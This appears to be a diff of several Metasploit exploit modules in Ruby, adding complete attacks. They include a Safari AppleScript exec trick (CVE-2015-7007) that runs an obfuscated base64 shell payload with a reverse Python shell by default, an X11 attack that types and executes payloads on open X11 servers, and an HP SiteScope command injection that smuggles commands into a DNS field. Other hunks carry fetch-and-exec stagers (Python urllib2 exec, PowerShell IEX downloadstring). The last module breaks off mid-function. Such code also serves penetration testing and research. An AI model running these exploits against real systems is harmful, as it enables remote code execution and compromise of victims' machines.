[Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) &&
|
||||
exception.class_data[1].contents.include?('RMI class loader disabled')
|
||||
return true
|
||||
end
|
||||
|
@ -252,7 +250,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
new_array.array_description = array_desc
|
||||
|
||||
arguments << new_array
|
||||
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
|
||||
|
|
|
@ -89,7 +89,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
|
||||
when 'PSH'
|
||||
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
||||
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
|
||||
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)
|
||||
download_and_run = "#{ignore_cert}#{download_string}"
|
||||
print_line generate_psh_command_line(
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
|
|
|
@ -0,0 +1,93 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Safari User-Assisted Applescript Exec Attack',
|
||||
'Description' => %q{
|
||||
In versions of Mac OS X before 10.11.1, the applescript:// URL
|
||||
scheme is provided, which opens the provided script in the Applescript
|
||||
Editor. Pressing cmd-R in the Editor executes the code without any
|
||||
additional confirmation from the user. By getting the user to press
|
||||
cmd-R in Safari, and by hooking the cmd-key keypress event, a user
|
||||
can be tricked into running arbitrary Applescript code.
|
||||
|
||||
Gatekeeper should be disabled from Security & Privacy in order to
|
||||
avoid the unidentified Developer prompt.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => ['unix', 'osx'],
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd'
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Mac OS X', {} ]
|
||||
],
|
||||
'DefaultOptions' => { 'payload' => 'cmd/unix/reverse_python' },
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Oct 16 2015',
|
||||
'Author' => [ 'joev' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2015-7007' ],
|
||||
[ 'URL', 'https://support.apple.com/en-us/HT205375' ]
|
||||
],
|
||||
'BrowserRequirements' => {
|
||||
:source => 'script',
|
||||
:ua_name => HttpClients::SAFARI,
|
||||
:os_name => OperatingSystems::Match::MAC_OSX
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('CONTENT', [false, "Content to display in browser",
|
||||
"This page has failed to load. Press cmd-R to refresh."]),
|
||||
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, profile)
|
||||
print_status("Sending #{self.name}")
|
||||
send_response_html(cli, exploit_html)
|
||||
end
|
||||
|
||||
def exploit_html
|
||||
"<!doctype html><html><body>#{content}<script>#{exploit_js}</script></body></html>"
|
||||
end
|
||||
|
||||
def exploit_js
|
||||
js_obfuscate %Q|
|
||||
var as = Array(150).join("\\n") +
|
||||
'do shell script "echo #{Rex::Text.encode_base64(sh)} \| base64 --decode \| /bin/sh"';
|
||||
var url = 'applescript://com.apple.scripteditor?action=new&script='+encodeURIComponent(as);
|
||||
window.onkeydown = function(e) {
|
||||
if (e.keyCode == 91) {
|
||||
window.location = url;
|
||||
}
|
||||
};
|
||||
|
|
||||
end
|
||||
|
||||
def sh
|
||||
'killall "Script Editor"; nohup ' + payload.encoded
|
||||
end
|
||||
|
||||
def content
|
||||
datastore['CONTENT']
|
||||
end
|
||||
|
||||
|
||||
end
|
|
@ -59,6 +59,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
send_response(cli, data)
|
||||
end
|
||||
|
||||
def autofilter
|
||||
true
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => '/search',
|
||||
|
|
|
@ -146,4 +146,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
send_not_found(cli)
|
||||
end
|
||||
|
||||
def autofilter
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -121,6 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
uris.uniq!
|
||||
print_status("Loaded #{uris.length} URLs")
|
||||
http_method = "GET"
|
||||
end
|
||||
|
||||
# Very short timeout because the request may never return if we're
|
||||
|
|
|
@ -63,6 +63,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
"#{get_uri}.php"
|
||||
end
|
||||
|
||||
def autofilter
|
||||
true
|
||||
end
|
||||
|
||||
def call_payload(file_name)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
|
|
|
@ -0,0 +1,494 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
KB_KEYS = {
|
||||
'1' => "\x0a",
|
||||
'2' => "\x0b",
|
||||
'3' => "\x0c",
|
||||
'4' => "\x0d",
|
||||
'5' => "\x0e",
|
||||
'6' => "\x0f",
|
||||
'7' => "\x10",
|
||||
'&' => "\x10",
|
||||
'8' => "\x11",
|
||||
'9' => "\x12",
|
||||
'(' => "\x12",
|
||||
'0' => "\x13",
|
||||
')' => "\x13",
|
||||
'-' => "\x14",
|
||||
'=' => "\x15",
|
||||
'q' => "\x18",
|
||||
'w' => "\x19",
|
||||
'e' => "\x1a",
|
||||
'r' => "\x1b",
|
||||
't' => "\x1c",
|
||||
'y' => "\x1d",
|
||||
'u' => "\x1e",
|
||||
'i' => "\x1f",
|
||||
'o' => "\x20",
|
||||
'p' => "\x21",
|
||||
'[' => "\x22",
|
||||
'{' => "\x22",
|
||||
']' => "\x23",
|
||||
'}' => "\x23",
|
||||
'a' => "\x26",
|
||||
's' => "\x27",
|
||||
'd' => "\x28",
|
||||
'f' => "\x29",
|
||||
'g' => "\x2a",
|
||||
'h' => "\x2b",
|
||||
'j' => "\x2c",
|
||||
'k' => "\x2d",
|
||||
'l' => "\x2e",
|
||||
';' => "\x2f",
|
||||
':' => "\x2f",
|
||||
"'" => "\x30",
|
||||
'"' => "\x30",
|
||||
'`' => "\x31",
|
||||
'~' => "\x31",
|
||||
'lshift' => "\x32",
|
||||
'\\' => "\x33",
|
||||
'|' => "\x33",
|
||||
'z' => "\x34",
|
||||
'x' => "\x35",
|
||||
'c' => "\x36",
|
||||
'v' => "\x37",
|
||||
'b' => "\x38",
|
||||
'n' => "\x39",
|
||||
'm' => "\x3a",
|
||||
',' => "\x3b",
|
||||
'<' => "\x3b",
|
||||
'.' => "\x3c",
|
||||
'>' => "\x3c",
|
||||
'/' => "\x3d",
|
||||
'*' => "\x3f",
|
||||
'alt' => "\x40",
|
||||
' ' => "\x41",
|
||||
'f2' => "\x44"
|
||||
}
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'X11 Keyboard Command Injection',
|
||||
'Description' => %q{
|
||||
This module exploits open X11 servers by connecting and registering a
|
||||
virtual keyboard. The virtual keyboard is used to open an xterm or gnome
|
||||
terminal and type and execute the specified payload.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'xistence <xistence[at]0x90.nl>'
|
||||
],
|
||||
'Privileged' => false,
|
||||
'License' => MSF_LICENSE,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd cmd_bash',
|
||||
'RequiredCmd' => 'gawk bash-tcp python netcat'
|
||||
}
|
||||
},
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'xterm (Generic)', {}],
|
||||
[ 'gnome-terminal (Ubuntu)', {}],
|
||||
], 'DisclosureDate' => 'Jul 10 2015',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(6000),
|
||||
OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def xkeyboard_key
|
||||
req = ""
|
||||
req << @xkeyboard_opcode
|
||||
req << "\x05" # Extension minor: 5 (LatchLockState)
|
||||
req << "\x04\x00" # Request length: 4
|
||||
req << "\x00\x01" # DeviceSpec: 0x0100 (256)
|
||||
req << "\x00" # affectModLocks: 0
|
||||
req << "\x00" # modLocks: 0
|
||||
req << "\x01" # lockGroup: True
|
||||
req << "\x00" # groupLock: 0
|
||||
req << "\x00" # affectModLatches: 0
|
||||
req << "\x00" # Unused
|
||||
req << "\x00" # latchGroup: False
|
||||
req << "\x00\x00" # groupLatch: 0
|
||||
req << "\x00" # Undecoded
|
||||
return req
|
||||
end
|
||||
|
||||
|
||||
def press_key(key)
|
||||
|
||||
req = xkeyboard_key
|
||||
|
||||
req << @xtest_opcode
|
||||
req << "\x02" # Extension minor: 2 (FakeInput)
|
||||
req << "\x09\x00" # Request length: 9
|
||||
req << "\x02" # Press key (Type: 2)
|
||||
req << key # What key to press
|
||||
req << "\x04\x00" # Unused?
|
||||
req << "\x00\x00\x00\x00" # Time
|
||||
req << "\x00\x00\x00\x00" # Root
|
||||
req << "\x07\x00\x07\x00" # Unused?
|
||||
req << "\x88\x04\x02\x00" # Unused?
|
||||
#req << "\x00\x01" # rootX: 256
|
||||
#req << "\xf5\x05" # rootY: 1525
|
||||
req << "\x00\x00" # rootX: 0
|
||||
req << "\x00\x00" # rootY: 0
|
||||
req << "\x00\x00\x00\x00" # Unused?
|
||||
req << "\x00\x00\x00" # Unused?
|
||||
req << "\x00" # deviceid: 0
|
||||
|
||||
req << xkeyboard_key
|
||||
|
||||
req << "\x2b" # Opcode 43: GetInputFocus
|
||||
req << "\x00" # Unused
|
||||
req << "\x01\x00" # Request length: 1
|
||||
|
||||
sock.put(req)
|
||||
|
||||
res = sock.get_once
|
||||
|
||||
# Response should give 1 on first byte (Success)
|
||||
unless res && res[0,1] == "\x01"
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def release_key(key)
|
||||
|
||||
req = xkeyboard_key
|
||||
|
||||
req << @xtest_opcode
|
||||
req << "\x02" # Extension minor: 2 (FakeInput)
|
||||
req << "\x09\x00" # Request length: 9
|
||||
req << "\x03" # Release key (Type: 3)
|
||||
req << key # What key to release
|
||||
req << "\x04\x00" # Unused?
|
||||
req << "\x00\x00\x00\x00" # Time
|
||||
req << "\x00\x00\x00\x00" # Root
|
||||
req << "\x07\x00\x07\x00" # Unused?
|
||||
req << "\x88\x04\x02\x00" # Unused?
|
||||
#req << "\x00\x01" # rootX: 256
|
||||
#req << "\xf5\x05" # rootY: 1525
|
||||
req << "\x00\x00" # rootX: 0
|
||||
req << "\x00\x00" # rootY: 0
|
||||
req << "\x00\x00\x00\x00" # Unused?
|
||||
req << "\x00\x00\x00" # Unused?
|
||||
req << "\x00" # deviceid: 0
|
||||
|
||||
req << xkeyboard_key
|
||||
|
||||
req << "\x2b" # Opcode 43: GetInputFocus
|
||||
req << "\x00" # Unused
|
||||
req << "\x01\x00" # Request length: 1
|
||||
|
||||
sock.put(req)
|
||||
|
||||
res = sock.get_once
|
||||
|
||||
# Response should give 1 on first byte (Success)
|
||||
unless res && res[0,1] == "\x01"
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def type_command(command)
|
||||
# Specify the special keys which need to have shift pressed first to type
|
||||
specialkeys = '<>{}|"&()'.chars
|
||||
values = command.chars
|
||||
values.each do |value|
|
||||
key = KB_KEYS[value]
|
||||
# Special keys need a shift pressed to be typed
|
||||
if Regexp.union(specialkeys) =~ value
|
||||
press_key(KB_KEYS["lshift"]) # [lshift]
|
||||
press_key(key)
|
||||
release_key(KB_KEYS["lshift"])
|
||||
release_key(key)
|
||||
# Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase
|
||||
elsif value =~ /[A-Z]/
|
||||
press_key(KB_KEYS["lshift"]) # [lshift]
|
||||
press_key(KB_KEYS[value.downcase])
|
||||
release_key(KB_KEYS["lshift"])
|
||||
release_key(KB_KEYS[value.downcase])
|
||||
# All normal keys which are not special keys or uppercase characters
|
||||
else
|
||||
press_key(key)
|
||||
release_key(key)
|
||||
end
|
||||
end
|
||||
# Send an enter
|
||||
press_key("\x24") # [enter]
|
||||
release_key("\x24") # [enter]
|
||||
end
|
||||
|
||||
def send_msg(sock, data)
|
||||
sock.put(data)
|
||||
data = ""
|
||||
begin
|
||||
read_data = sock.get_once(-1, 1)
|
||||
while not read_data.nil?
|
||||
data << read_data
|
||||
read_data = sock.get_once(-1, 1)
|
||||
end
|
||||
rescue EOFError
|
||||
end
|
||||
data
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
begin
|
||||
connect
|
||||
|
||||
print_status("#{rhost}:#{rport} - Register keyboard")
|
||||
|
||||
req = "\x6c" # Byte order (Little-Endian)
|
||||
req << "\x00" # Unused
|
||||
req << "\x0b\x00" # Protocol major version: 11
|
||||
req << "\x00\x00" # Protocol minor version: 0
|
||||
req << "\x00\x00" # Authorization protocol name length: 0
|
||||
req << "\x00\x00" # Authorization protocol data length: 0
|
||||
req << "\x00\x00" # Unused
|
||||
|
||||
# Retrieve the whole X11 details response
|
||||
res = send_msg(sock,req)
|
||||
|
||||
# Response should give 0x01 in first byte (Success)
|
||||
unless res && res[0,1] == "\x01"
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")
|
||||
end
|
||||
|
||||
|
||||
# Keyboard registration
|
||||
req = "\x62" # Opcode 98: QueryExtension
|
||||
req << "\x00" # Unused
|
||||
req << "\x05\x00" # Request length: 5
|
||||
req << "\x09\x00" # Name length: 9
|
||||
req << "\x60\x03" # Unused?
|
||||
req << "XKEYBOARD" # Name
|
||||
req << "\x00\x00\x00" # Unused, padding?
|
||||
|
||||
# Retrieve the whole X11 details response
|
||||
res = send_msg(sock,req)
|
||||
|
||||
# Response should give 0x01 in first byte (Success)
|
||||
if res && res[0,1] == "\x01"
|
||||
@xkeyboard_opcode = res[9,1] # Retrieve the XKEYBOARD opcode
|
||||
else
|
||||
#puts res.inspect
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed")
|
||||
end
|
||||
|
||||
|
||||
req = ""
|
||||
req << @xkeyboard_opcode
|
||||
req << "\x00" # Extension minor: 0 (UseExtension)
|
||||
req << "\x02\x00" # Request length: 2
|
||||
req << "\x01\x00" # Wanted Major: 1
|
||||
req << "\x00\x00" # Wanted Minor: 0
|
||||
|
||||
# Retrieve the whole X11 details response
|
||||
res = send_msg(sock,req)
|
||||
|
||||
unless res && res[0,1] == "\x01"
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")
|
||||
end
|
||||
|
||||
|
||||
req = "\x62" # Opcode 98: QueryExtension
|
||||
req << "\x00" # Unused
|
||||
req << "\x06\x00" # Request length: 6
|
||||
req << "\x0f\x00" # Name length: 15
|
||||
req << "\x00\x00" # Unused
|
||||
req << "XInputExtension" # Name
|
||||
req << "\x00" # Unused, padding?
|
||||
|
||||
# Retrieve the whole X11 details response
|
||||
res = send_msg(sock,req)
|
||||
|
||||
# Response should give 0x01 in first byte (Success)
|
||||
unless res && res[0,1] == "\x01"
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")
|
||||
end
|
||||
|
||||
|
||||
req = "\x62" # Opcode 98: QueryExtension
|
||||
req << "\x00" # Unused
|
||||
req << "\x04\x00" # Request length: 4
|
||||
req << "\x05\x00" # Name length: 5
|
||||
req << "\x00\x00" # Unused
|
||||
req << "XTEST" # Name
|
||||
req << "\x00\x00\x00" # Unused, padding?
|
||||
|
||||
# Retrieve the whole X11 details response
|
||||
res = send_msg(sock,req)
|
||||
|
||||
# Response should give 0x01 in first byte (Success)
|
||||
if res && res[0,1] == "\x01"
|
||||
@xtest_opcode = res[9,1] # Retrieve the XTEST opcode
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")
|
||||
end
|
||||
|
||||
|
||||
req = "\x62" # Opcode 98: QueryExtension
|
||||
req << "\x00" # Unused
|
||||
req << "\x08\x00" # Request length
|
||||
req << "\x17\x00" # Name length
|
||||
req << "\x00\x00" # Unused
|
||||
req << "Generic Event Extension" # Name
|
||||
req << "\x00" # Unused, padding?
|
||||
|
||||
# Retrieve the whole X11 details response
|
||||
res = send_msg(sock,req)
|
||||
|
||||
# Response should give 0x01 in first byte (Success)
|
||||
if res && res[0,1] == "\x01"
|
||||
@genericevent_opcode = res[9,1] # Retrieve the Generic Event Extension opcode
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")
|
||||
end
|
||||
|
||||
|
||||
req = ""
|
||||
req << @genericevent_opcode
|
||||
req << "\x00" # Extension minor: 0 (QueryVersion)
|
||||
req << "\x02\x00" # Request length: 2
|
||||
req << "\x01\x00" # Client major version: 1
|
||||
req << "\x00\x00" # Client minor version: 0
|
||||
|
||||
# Retrieve the whole X11 details response
|
||||
res = send_msg(sock,req)
|
||||
|
||||
# Response should give 0x01 in first byte (Success)
|
||||
unless res && res[0,1] == "\x01"
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
|
||||
end
|
||||
|
||||
|
||||
req = ""
|
||||
req << @xtest_opcode
|
||||
req << "\x00" # Extension minor: 0 (GetVersion)
|
||||
req << "\x02\x00" # Request length: 2
|
||||
req << "\x02\x00" # Major version: 2
|
||||
req << "\x02\x00" # Minor version: 2
|
||||
|
||||
# Retrieve the whole X11 details response
|
||||
res = send_msg(sock,req)
|
||||
|
||||
# Response should give 0x01 in first byte (Success)
|
||||
unless res && res[0,1] == "\x01"
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")
|
||||
end
|
||||
|
||||
|
||||
req = "\x65" # Opcode 101: GetKeyboardMapping
|
||||
req << "\x00" # Unused
|
||||
req << "\x02\x00" # Request length: 2
|
||||
req << "\x08" # First keycode: 8
|
||||
req << "\xf8" # Count: 248
|
||||
req << "\x02\x00" # Unused?
|
||||
|
||||
# Retrieve the whole X11 details response
|
||||
res = send_msg(sock,req)
|
||||
|
||||
# Response should give 0x01 in first byte (Success)
|
||||
unless res && res[0,1] == "\x01"
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")
|
||||
end
|
||||
|
||||
|
||||
req = ""
|
||||
req << @xkeyboard_opcode
|
||||
req << "\x08" # Extension minor: 8 (GetMap)
|
||||
req << "\x07\x00" # Request length: 7
|
||||
req << "\x00\x01" # Device spec: 0x0100 (256)
|
||||
req << "\x07\x00" # Full: 7
|
||||
req << "\x00\x00" # Partial: 0
|
||||
req << "\x00" # firsType: 0
|
||||
req << "\x00" # nTypes: 0
|
||||
req << "\x00" # firstKeySym: 0
|
||||
req << "\x00" # nKeySym: 0
|
||||
req << "\x00" # firstKeyAction: 0
|
||||
req << "\x00" # nKeysActions: 0
|
||||
req << "\x00" # firstKeyBehavior: 0
|
||||
req << "\x00" # nKeysBehavior: 0
|
||||
req << "\x00\x00" # virtualMods: 0
|
||||
req << "\x00" # firstKeyExplicit: 0
|
||||
req << "\x00" # nKeyExplicit: 0
|
||||
req << "\x00" # firstModMapKey: 0
|
||||
req << "\x00" # nModMapKeys: 0
|
||||
req << "\x00" # firstVModMapKey: 0
|
||||
req << "\x00" # nVModMapKeys: 0
|
||||
req << "\x00\x00" # Unused, padding?
|
||||
|
||||
# Retrieve the whole X11 details response
|
||||
res = send_msg(sock,req)
|
||||
|
||||
# Response should give 0x01 in first byte (Success)
|
||||
unless res && res[0,1] == "\x01"
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
|
||||
end
|
||||
|
||||
|
||||
# Press ALT+F2 to start up "Run application"
|
||||
print_status("#{rhost}:#{rport} - Opening \"Run Application\"")
|
||||
press_key(KB_KEYS["alt"])
|
||||
press_key(KB_KEYS["f2"])
|
||||
release_key(KB_KEYS["alt"])
|
||||
release_key(KB_KEYS["f2"])
|
||||
|
||||
# Wait X seconds to open the dialog
|
||||
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
|
||||
Rex.sleep(datastore['TIME_WAIT'])
|
||||
|
||||
if datastore['TARGET'] == 0
|
||||
# Start a xterm terminal
|
||||
print_status("#{rhost}:#{rport} - Opening xterm")
|
||||
type_command("xterm")
|
||||
else
|
||||
# Start a Gnome terminal
|
||||
print_status("#{rhost}:#{rport} - Opening gnome-terminal")
|
||||
type_command("gnome-terminal")
|
||||
end
|
||||
|
||||
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
|
||||
# Wait X seconds to open the terminal
|
||||
Rex.sleep(datastore['TIME_WAIT'])
|
||||
|
||||
# "Type" our payload and execute it
|
||||
print_status("#{rhost}:#{rport} - Typing and executing payload")
|
||||
command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit"
|
||||
|
||||
type_command(command)
|
||||
|
||||
handler
|
||||
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
|
||||
print_error("#{rhost}:#{rport} - #{e.message}")
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,196 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/powershell'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'HP SiteScope DNS Tool Command Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a command injection vulnerability
|
||||
discovered in HP SiteScope 11.30 and earlier versions (tested in 11.26
|
||||
and 11.30). The vulnerability exists in the DNS Tool allowing an
|
||||
attacker to execute arbitrary commands in the context of the service. By
|
||||
default, HP SiteScope installs and runs as SYSTEM in Windows and does
|
||||
not require authentication. This vulnerability only exists on the
|
||||
Windows version. The Linux version is unaffected.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Kirk Hayes', # @kirkphayes / Vulnerability Discovery and MSF module author
|
||||
'Charles Riggs', # c0v3rt_chann3l / Vulnerability Discovery
|
||||
'Juan Vazquez' # help with MSF module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/10/09/r7-2015-17-hp-sitescope-dns-tool-command-injection'],
|
||||
['URL', 'http://www8.hp.com/us/en/software-solutions/sitescope-application-monitoring/index.html'] # vendor site
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'HP SiteScope 11.30 / Microsoft Windows 7 and higher',
|
||||
{
|
||||
'Arch' => [ARCH_X86_64, ARCH_X86]
|
||||
}
|
||||
],
|
||||
[ 'HP SiteScope 11.30 / CMD',
|
||||
{
|
||||
'Arch' => [ARCH_CMD]
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Oct 9 2015'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('SITE_SCOPE_USER', [false, 'Username for authentication', '']),
|
||||
OptString.new('SITE_SCOPE_PASSWORD', [false, 'Password for authentication', '']),
|
||||
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
initial_session = get_initial_session_id
|
||||
redirect = authenticate(initial_session)
|
||||
session = get_authenticated_session_id(initial_session, redirect)
|
||||
csrf_token = get_csrf_token(session)
|
||||
|
||||
print_status("#{peer} - Executing payload")
|
||||
random_mark = Rex::Text.rand_text_alpha(5 + rand(5))
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path.to_s, 'remoteProxy'),
|
||||
'method' => 'POST',
|
||||
'vars_get' => {
|
||||
'OWASP_CSRFTOKEN' => csrf_token
|
||||
},
|
||||
'cookie' => session,
|
||||
'ctype' => 'application/octet- serializable object',
|
||||
'data' => build_stream(random_mark)
|
||||
}, 5)
|
||||
|
||||
if res && res.code == 200 && res.body
|
||||
res_io = StringIO.new(res.body.to_s)
|
||||
res_stream = Rex::Java::Serialization::Model::Stream.decode(res_io)
|
||||
return if res_stream.nil?
|
||||
show = false
|
||||
res_stream.references.each do |ref|
|
||||
if ref.class == Rex::Java::Serialization::Model::Utf && show
|
||||
print_good(ref.contents)
|
||||
next
|
||||
elsif ref.class == Rex::Java::Serialization::Model::Utf && ref.contents.include?(random_mark)
|
||||
show = true
|
||||
next
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def get_initial_session_id
|
||||
print_status("#{peer} - Retrieving an initial JSESSIONID...")
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path.to_s, 'servlet', 'Main'),
|
||||
'method' => 'POST'
|
||||
)
|
||||
|
||||
if res and res.code == 200 and res.get_cookies.include?('JSESSIONID')
|
||||
session_id = res.get_cookies
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Retrieve of initial JSESSIONID failed")
|
||||
end
|
||||
|
||||
session_id
|
||||
end
|
||||
|
||||
def authenticate(session_id)
|
||||
print_status("#{peer} - Authenticating on HP SiteScope Configuration...")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path.to_s, 'j_security_check'),
|
||||
'method' => 'POST',
|
||||
'cookie' => session_id,
|
||||
'vars_post' => {
|
||||
'j_username' => datastore['SITE_SCOPE_USER'],
|
||||
'j_password' => datastore['SITE_SCOPE_PASSWORD']
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 302
|
||||
redirect = URI(res.headers['Location']).path
|
||||
else
|
||||
fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
|
||||
end
|
||||
|
||||
redirect
|
||||
end
|
||||
|
||||
def get_authenticated_session_id(session_id, redirect)
|
||||
print_status("#{peer} - Following redirection to finish authentication...")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => redirect,
|
||||
'method' => 'GET',
|
||||
'cookie' => session_id
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.get_cookies.include?('JSESSIONID')
|
||||
auth_session = res.get_cookies
|
||||
else
|
||||
fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
|
||||
end
|
||||
|
||||
auth_session
|
||||
end
|
||||
|
||||
def get_csrf_token(session)
|
||||
print_status("#{peer} - Getting anti-CSRF token...")
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path.to_s, 'jsp', 'tabs.jsp'),
|
||||
'cookie' => session
|
||||
)
|
||||
|
||||
if res && res.code == 302 && res.headers['Location'] =~ /OWASP_CSRFTOKEN=([A-Z0-9\-]+)/
|
||||
csrf_token = $1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to get anti-CSRF token")
|
||||
end
|
||||
|
||||
csrf_token
|
||||
end
|
||||
|
||||
def build_stream(random_mark)
|
||||
site = "google.com & echo #{random_mark} & "
|
||||
if target.arch.include?('cmd')
|
||||
command = payload.encoded
|
||||
else
|
||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
end
|
||||
|
||||
file = File.join( Msf::Config.data_directory, 'exploits', 'CVE-pending', 'stream.raw')
|
||||
|
||||
f = File.new(file, 'rb')
|
||||
stream = Rex::Java::Serialization::Model::Stream.decode(f)
|
||||
f.close
|
||||
|
||||
dns_param = stream.references[0x44]
|
||||
